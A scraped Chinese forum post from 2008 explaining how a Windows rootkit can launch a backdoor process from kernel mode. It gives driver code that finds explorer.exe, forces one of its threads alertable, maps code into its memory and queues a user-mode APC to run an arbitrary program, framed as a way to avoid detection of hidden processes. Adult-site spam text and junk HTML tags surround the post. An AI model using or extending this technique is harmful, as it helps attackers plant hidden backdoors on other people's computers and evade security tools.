成 人 网 站国产免费观看

<p id="lkccd"></p>

    <td id="lkccd"></td>
    <acronym id="lkccd"></acronym>
    <table id="lkccd"><ruby id="lkccd"></ruby></table>
    <td id="lkccd"></td>
    <p id="lkccd"><strong id="lkccd"></strong></p>

    dvbbs
    聯系我 收藏本頁
    聯系我們
    論壇幫助
    dvbbs

    深圳印刷論壇世界網絡-網絡技術網絡技術 → Rootkit如何在內核模式實現后門隱藏


      共有11588人關注過本帖樹形打印

    主題:Rootkit如何在內核模式實現后門隱藏

    帥哥喲,離線,有人找我嗎?
    止談風月
      1樓 個性首頁 | QQ | 信息 | 搜索 | 郵箱 | 主頁 | UC


    加好友 發短信 止談風月
    等級:管理員 貼子:1542 積分:16633 威望:5 精華:0 注冊:2007-3-17 22:33:59
    Rootkit如何在內核模式實現后門隱藏  發貼心情 Post By:2008-12-19 23:46:28

    很多人對Rootkit感興趣,Rootkit技術已經用于很多流氓軟件中,殺毒軟件開始重視Rootkit。很多Rootkit所做的主要工作是在內核態做手腳來隱藏攻擊者的后門。那么相應就有很多檢測工具來檢測隱藏的進程與線程。   有沒有辦法在Rootkit的內核模塊里就實現一個完整的后門,提供一個CMD出來呢?這樣就免去了隱藏進程所帶來的風險。
      NT Rootkit試圖這么做過,不知道什么原因這個功能并沒有開發完成。這涉及到一個問題,如何從內核態來執行用戶態代碼。
      關于這個話題有人很早就已經研究了,但是目前還沒有成熟的、公開源碼的后門使用這樣的技術。也許覺得這很神秘?其實不然。Rootkit.com上的valerino就提到過用APC的方法來CreateProcess。
      如果對Windows操作系統有深入的了解,那么很快你可以想到一個函數:KeUserModeCallback;如果你對linux也比較了解,你會知道一個宏:move_to_user_mode。他們兩個實質都是使用中斷返回的方式執行到了用戶態代碼。
      但這會帶來一些問題,他們都只能讓你的代碼運行在當前線程,以及如何觸發他們?
      你也許會想到Windows的APC,它可以讓代碼運行在一個你任意制定的線程環境中。然而APC常常為系統所用(比如I/O Manager),通常的開發人員是不會去接觸這個東西,所以相應的文檔資料就少得可憐。
      APC(Asynchronous Procedure Call) --- 異步過程調用
      APC的精確定義我不太明確,通過它的行為,可以這樣理解:將一個內核過程插入到一個線程隊列等待執行,相當于強行插入到特定線程上下文中去執行的一段代碼。
      系統中存在三種APC:
      普通內核APC:它們可以插入內核線程,它們在那個內核線程沒有執行其他APC的時候執行。
      特定內核APC:基本上和上面的一樣。但它們運行在APC_LEVEL中斷級,而且不能被阻塞,除非它們運行在更高的中斷級。它們可搶占普通內核APC的執行。
      用戶態APC:這種APC只能插入到一個用戶線程中,這個線程必須事先調用一個等待函數比如WaitForSingleObject而且將Alertable置為TRUE。下一次線程從內核返回的時候,這個APC就得以執行。這就是我們要利用的APC了。
    創建進程
      我們創建進程的思路如下:
      1.遍歷系統進程列表,找到explore.exe。explore.exe是桌面交互進程,一般來說Windows里面都存在,而且它里面處于Wait狀態的線程很多(可以用sysinternals的工具ProcessExplorer查看進程中的線程信息,當然線程有alertable的也有non-alertable的,后面將在代碼看到他們如何處理)。explore.exe就是我們插入APC的良好宿主。
      2.一旦我們找到了explore.exe,我們需要在里面找到一個alertable的線程。如果找不到,我們就將代碼指針保存在一個non-alertable的線程中,將它ApcState.UserApcPending設置為TRUE,這樣就將此線程設置為alertable的了。
      3.我們事先得到explore進程的Eprocess指針,還有它其中一個線程的Ethread指針。接下來我們就將我們的APC對象(包含我們要在用戶態執行的代碼)插入線程的APC隊列,然后在它執行完的時候,我們釋放為這個APC分配的內存資源。
      而我所指的"我們要在用戶態執行的代碼",就是在用戶態創建一個特定的進程。APC被執行的時,這個用戶態進程就被創建了。
      要在用戶態執行的代碼為RunProcess(LPSTR lpProcess),其中lpProcess參數就是要創建的進程EXE文件所在的絕對路徑。
          void RunProcess(LPSTR lpProcess)
      {
      PEPROCESS pTargetProcess = NULL;
      PKTHREAD pTargetThread = NULL;
      PKTHREAD pNotAlertableThread = NULL;
      PEPROCESS pSystemProcess = NULL;
      PETHREAD pTempThread = NULL;
      PLIST_ENTRY pNextEntry, pListHead, pThNextEntry;
      //...
      }
      首先我們獲得"System"進程的Eprocess指針。
          pSystemProcess = PsGetCurrentProcess();
      //運行在 PASSIVE_LEVEL 中斷級
      pSystemProcess->ActiveProcessLinks是一個LIST_ENTRY 結構,這個鏈表里面含有指向其他活動進程Eprocess的指針(我們通常所說的"活動進程鏈表")。我們可以在里面獲得explore.exe進程的Eprocess以及它里面的一個線程Ethread。(理論上可以用任何進程,但實際情況,插入APC很可能讓CSRSS,SVCHOST進程Crash)。找到目標后,我們就可以插入我們的APC了
          if(!pTargetThread)
      {
      //沒有找到alertable線程, 那么找一個non-alertable的
      pTargetThread = pNotAlertableThread;
      }
      if(pTargetThread)
      {
      DbgPrint("KernelExec -> Targeted thread: 0x%p",
      pTargetThread);
      //得到了目標線程,插入APC
      InstallUserModeApc(lpProcess,
      pTargetThread,
      pTargetProcess);
      }
      InstallUserModeApc 原型:
      CODENTSTATUS
      InstallUserModeApc(
      IN LPSTR lpProcess,
      IN PKTHREAD pTargetThread,
      IN PEPROCESS pTargetProcess);
      其中pTargetProcess是目標進程explore.exe的Eprocess指針,pTargetThread是我們的APC即將插入的線程KTHREAD指針。接著我們就為APC和映射我們代碼的內存描述表(MDL)分配內存:
          PRKAPC pApc = NULL;
      PMDL pMdl = NULL;
      ULONG dwSize = 0; //我們要執行的代碼尺寸
      pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC));
      dwSize = (unsigned char*)ApcCreateProcessEnd-
      (unsigned char*)ApcCreateProcess;
      pMdl = IoAllocateMdl (ApcCreateProcess, dwSize, FALSE,FALSE,NULL);
      //查找可寫內存頁面,并將其Lock,不會產生頁交換.
      MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess);
      這樣我的APC就準備好了,pMdl駐留在內存中,映射到我們的用戶態代碼(就是ApcCreateProcess()。如果Explore.exe沒有訪問內核區域的權限,它怎么能調用我們的APC例程呢?
          KAPC_STATE ApcState;
      //附著到Explore.exe的進程空間
      KeStackAttachProcess(&(pTargetProcess->Pcb),&ApcState);
      //將我們的代碼物理頁面映射到進程空間
      pMappedAddress =
      MmMapLockedPagesSpecifyCache(pMdl,
      UserMode,
      MmCached,
      NULL,FALSE,
      NormalPagePriority);
      我們來看看我們的APC代碼,它將映射到Explorer的進程地址空間。 window.google_render_ad();
     
    將WinExec函數的地址裝載入EAX寄存器,(0x7C86136D是在WinXp SP2上取得的地址),我們將參數2(SW_SHOWNORMAL)壓入堆棧,然后0xabcd,然后call。0xabcd是WinExec()的第一個參數,它指向WinExec執行的程序。
      因為WinExec不能訪問那個地址,它將導致一個內存訪問異常。不能從用戶態訪問一個內核地址。那么,在我們映射我們的代碼到用戶態地址中以后,我們就將這個lpProcess地址copy到第一個nop指令后面。以下是這些動作的代碼:
          ULONG *data_addr=0; //用來存貯我們ApcCreateProcess例程中push指令后面的地址
      ULONG dwMappedAddress = 0;
      pMappedAddress =
      MmMapLockedPagesSpecifyCache(pMdl,
      UserMode,
      MmCached,
      NULL,FALSE,
      NormalPagePriority);
      dwMappedAddress = (ULONG)pMappedAddress;
      //騰位置,清零.
      memset ((unsigned char*)pMappedAddress + 0x14, 0, 300);
      //Copy lpProcess,即我們要執行的exe文件地址的字符串,到映射的內存空間
      memcpy ((unsigned char*)pMappedAddress + 0x14,
      lpProcess,
      strlen (lpProcess));
      data_addr = (ULONG*)((char*)pMappedAddress+0x9);//(參數0xabcd原來的位置)
      *data_addr = dwMappedAddress+0x14; //指向我們的想要執行的exe路徑字符串.
      //完成,,Attach后記得Detach.
      KeUnstackDetachProcess (&ApcState);
      現在要做的就只是初始化我們的APC然后插入目標線程。
          //初始化APC
      KeInitializeApc(pApc,
      pTargetThread,
      OriginalApcEnvironment,
      &ApcKernelRoutine,
      NULL,
      pMappedAddress,
      UserMode,
      NULL);
      //插入APC隊列
      KeInsertQueueApc(pApc,0,NULL,0);
      //若是non-alertable線程
      if(!pTargetThread->ApcState.UserApcPending)
      {
      //置為alertable
      pTargetThread->ApcState.UserApcPending = TRUE;
      }
      return STATUS_SUCCESS;
      }


    ▓止談風月(www.zonaiam.com)

    我們的口號:沒有最高質量的產品我們無法生存

                      沒有非常的創意我們不如不干
    支持(0中立(0反對(0單帖管理 | 引用 | 回復 回到頂部

    返回版面帖子列表

    Rootkit如何在內核模式實現后門隱藏








    簽名  

    本站聯系電話:0755-25925567
    成 人 网 站国产免费观看

    <p id="lkccd"></p>

      <td id="lkccd"></td>
      <acronym id="lkccd"></acronym>
      <table id="lkccd"><ruby id="lkccd"></ruby></table>
      <td id="lkccd"></td>
      <p id="lkccd"><strong id="lkccd"></strong></p>